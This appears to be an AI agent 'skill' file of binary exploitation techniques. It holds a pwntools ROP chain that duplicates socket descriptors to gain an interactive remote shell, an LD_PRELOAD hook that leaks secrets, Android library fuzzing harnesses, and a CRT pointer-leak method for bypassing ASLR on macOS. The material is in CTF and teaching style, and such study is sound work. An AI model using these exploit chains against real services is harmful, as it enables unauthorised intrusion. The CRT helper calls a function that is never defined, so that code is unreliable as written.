Hacktricks-skills common-exploitation-techniques

How to apply common exploitation patterns including FD duplication for remote shells, socat/pty escape handling, Android shared-library fuzzing with LD_PRELOAD hooking, image parser exploitation, and pointer-keyed hash table pointer leaks. Use this skill whenever the user mentions exploitation, remote shells, socket exploitation, Android fuzzing, shared library analysis, LD_PRELOAD, image format parsing, ASLR bypass, pointer leaks, or any binary exploitation scenario.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/binary-exploitation/common-exploiting-problems/SKILL.MD
source content

Common Exploitation Techniques

This skill covers practical exploitation patterns that appear frequently in real-world scenarios. Each section provides actionable guidance with working examples.

FD Duplication for Remote Shell Interaction

When to use

When exploiting a remote service that spawns a shell (e.g.,

system('/bin/sh')
) but you cannot interact with it because stdin/stdout are not connected to your socket.

The problem

When a server process executes

system('/bin/sh')
, the shell expects:

  • stdin (FD 0): for input
  • stdout (FD 1): for output
  • stderr (FD 2): for errors

If these aren't connected to your attacker socket, you get a non-interactive shell.

The solution

Use

dup2()
to redirect stdin/stdout to the socket FD. When a server accepts a connection, it typically:

  1. Creates a listening socket (FD 3)
  2. Accepts your connection (FD 4)

Redirect FD 0 and 1 to FD 4:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)  # padding to reach ROP chain
rop.dup2(4, 0)      # dup2(socket_fd, stdin)
rop.dup2(4, 1)      # dup2(socket_fd, stdout)
rop.win()           # your shell-spawning function

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Finding the correct FD

If you're unsure which FD the socket uses:

  1. Check the server's
    accept()
    call - the returned FD is your target
  2. Use
    strace
    on the server to see FD allocation
  3. Try common values: 3, 4, 5 (after stdin/stdout/stderr)

Socat & PTY Escape Character Handling

When to use

When using

socat
with PTY mode and your exploit contains
\x7f
(DELETE character).

The problem

Socat in PTY mode interprets

\x7f
as a backspace/delete character, which corrupts your exploit payload.

The solution

Prepend the escape character

\x16
before any
\x7f
in your payload:

# Instead of sending: payload = b'\x7f\x7f\x7f'
# Send: payload = b'\x16\x7f\x16\x7f\x16\x7f'

# In pwnlib:
payload = payload.replace(b'\x7f', b'\x16\x7f')

Alternative

Use

socat
without PTY mode if possible:

socat TCP-LISTEN:9001,reuseaddr,fork EXEC:"./vuln"
# Instead of:
socat TCP-LISTEN:9001,reuseaddr,fork EXEC:"./vuln",pty

Android AArch64 Shared Library Fuzzing

When to use

When you have a stripped AArch64

.so
file from an Android app and need to fuzz exported functions without rebuilding the APK.

Workflow

Step 1: Locate callable entry points

objdump -T libvalidate.so | grep -E "validate|check|verify"

Use Ghidra/IDA to determine function signatures:

int validate(const uint8_t *buf, uint64_t len);

Step 2: Write a standalone harness

Create

harness.c
:

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>

extern int validate(const uint8_t *buf, uint64_t len);

int main(int argc, char **argv) {
    if (argc < 2) return 1;
    int fd = open(argv[1], O_RDONLY);
    if (fd < 0) return 1;
    struct stat st = {0};
    if (fstat(fd, &st) < 0) return 1;
    uint8_t *buffer = malloc(st.st_size + 1);
    read(fd, buffer, st.st_size);
    close(fd);
    int ret = validate(buffer, st.st_size);
    free(buffer);
    return ret;
}

Cross-compile with NDK:

aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie -o harness

Step 3: Bypass anti-debug with LD_PRELOAD

If the

.so
imports
snprintf
and contains secrets:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>

typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);

int snprintf(char *str, size_t size, const char *fmt, ...) {
    static vsnprintf_t real_vsnprintf;
    if (!real_vsnprintf)
        real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");

    va_list args;
    va_start(args, fmt);
    va_list args_copy;
    va_copy(args_copy, args);
    
    // Leak format strings containing secrets
    if (fmt && strstr(fmt, "FLAG{")) {
        fprintf(stdout, "[LEAK] ");
        vfprintf(stdout, fmt, args);
        fputc('\n', stdout);
    }
    
    int ret = real_vsnprintf(str, size, fmt, args_copy);
    va_end(args_copy);
    va_end(args);
    return ret;
}

Compile and run:

gcc -shared -fPIC -o hook.so hook.c -ldl
LD_PRELOAD=./hook.so ./harness payload.json

Step 4: Create AFL harness for targeted fuzzing

If you've identified the exact bytes to fuzz:

#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

extern int validate(unsigned char *bytes, size_t len);

#define FUZZ_SIZE 9

int main(void) {
    uint8_t blob[FUZZ_SIZE];
    if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0;
    
    // Embed fuzz bytes in valid structure
    char json[512];
    int len = snprintf(json, sizeof(json),
        "{\"magic\":16909060,\"flag\":\"FLAG{827b07c%s}\"}",
        blob);
    
    validate((unsigned char *)json, len);
    return 0;
}

Run AFL:

afl-cc -o afl_harness afl_harness.c
afl-fuzz -i input_dir -o output_dir ./afl_harness

Image/Media Parser Exploitation

When to use

When analyzing image formats (DNG, TIFF, JPEG) that contain embedded bytecode or metadata that controls parsing behavior.

Common attack vectors

1. Opcode-based formats

Some formats ship with bytecode interpreters:

  • DNG: tone curves, map tables
  • TIFF: IFD entries with custom tags
  • JPEG: APP segments with proprietary data

2. Bounds-check bypasses

Look for:

  • Metadata-derived dimensions not validated
  • Plane indices from untrusted data
  • Array sizes from file headers

3. Heap grooming

Malicious opcodes can:

  • Allocate specific sizes to control heap layout
  • Free objects to create controlled holes
  • Spray the heap with attacker data

Example: Chaining vulnerabilities

from pwn import *

# 1. Bounds bug to read arbitrary memory
# 2. Heap spray to control freed objects
# 3. Vtable remapping for code execution
# 4. JOP chain to system()

# See: Samsung Quram exploit for real-world example

Pointer-Keyed Hash Table Pointer Leaks

When to use

When a service deserializes attacker-controlled property lists and re-serializes them, particularly on macOS/iOS with

NSKeyedUnarchiver
.

The vulnerability

Before March 2025,

CFNull
/
NSNull
used pointer address as hash:

CFHash(object) == (uintptr_t)object

The singleton

kCFNull
lives at a fixed shared-cache address, making its hash stable across processes.

Attack workflow

Step 1: Craft input plist

Create dictionaries with controlled bucket patterns:

// For each prime p in {23, 41, 71, 127, 191, 251, 383, 631, 1087}:
// Create two dictionaries:
// - One with even buckets filled
// - One with odd buckets filled
// NSNull serialized last in each

Step 2: Send to victim

./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
# Send to victim service

Step 3: Extract residues from response

The serialized key order reveals bucket indices:

// For each dictionary pair, determine:
// hash(NSNull) % p = r_i

Step 4: Apply Chinese Remainder Theorem

def crt(residues, moduli):
    """Solve system of congruences using CRT"""
    from math import gcd
    
    result = 0
    product = 1
    
    for m in moduli:
        product *= m
    
    for r, m in zip(residues, moduli):
        p = product // m
        result += r * p * extended_gcd(p, m)[1]
    
    return result % product

# Moduli: [23, 41, 71, 127, 191, 251, 383, 631, 1087]
# Product > 2^64, so result is unique 64-bit pointer
pointer = crt(residues, moduli)
print(f"Leaked pointer: {hex(pointer)}")

Why this works

  • NSDictionary
    uses
    CFBasicHash
    with prime bucket counts
  • Serialization walks buckets in numeric order
  • Key order in output encodes bucket indices
  • No memory corruption needed - just observation

Quick Reference

TechniqueKey FunctionTypical Use Case
FD Duplication
dup2(fd, 0)
,
dup2(fd, 1)
Remote shell interaction
Socat EscapePrepend
\x16
to
\x7f
PTY-based exploits
LD_PRELOAD Hook
dlsym(RTLD_NEXT, "func")
Anti-debug bypass, secret leakage
AFL Fuzzing
read(STDIN_FILENO, ...)
Targeted binary fuzzing
CRT Pointer LeakExtended Euclidean AlgorithmASLR bypass on macOS

Related Resources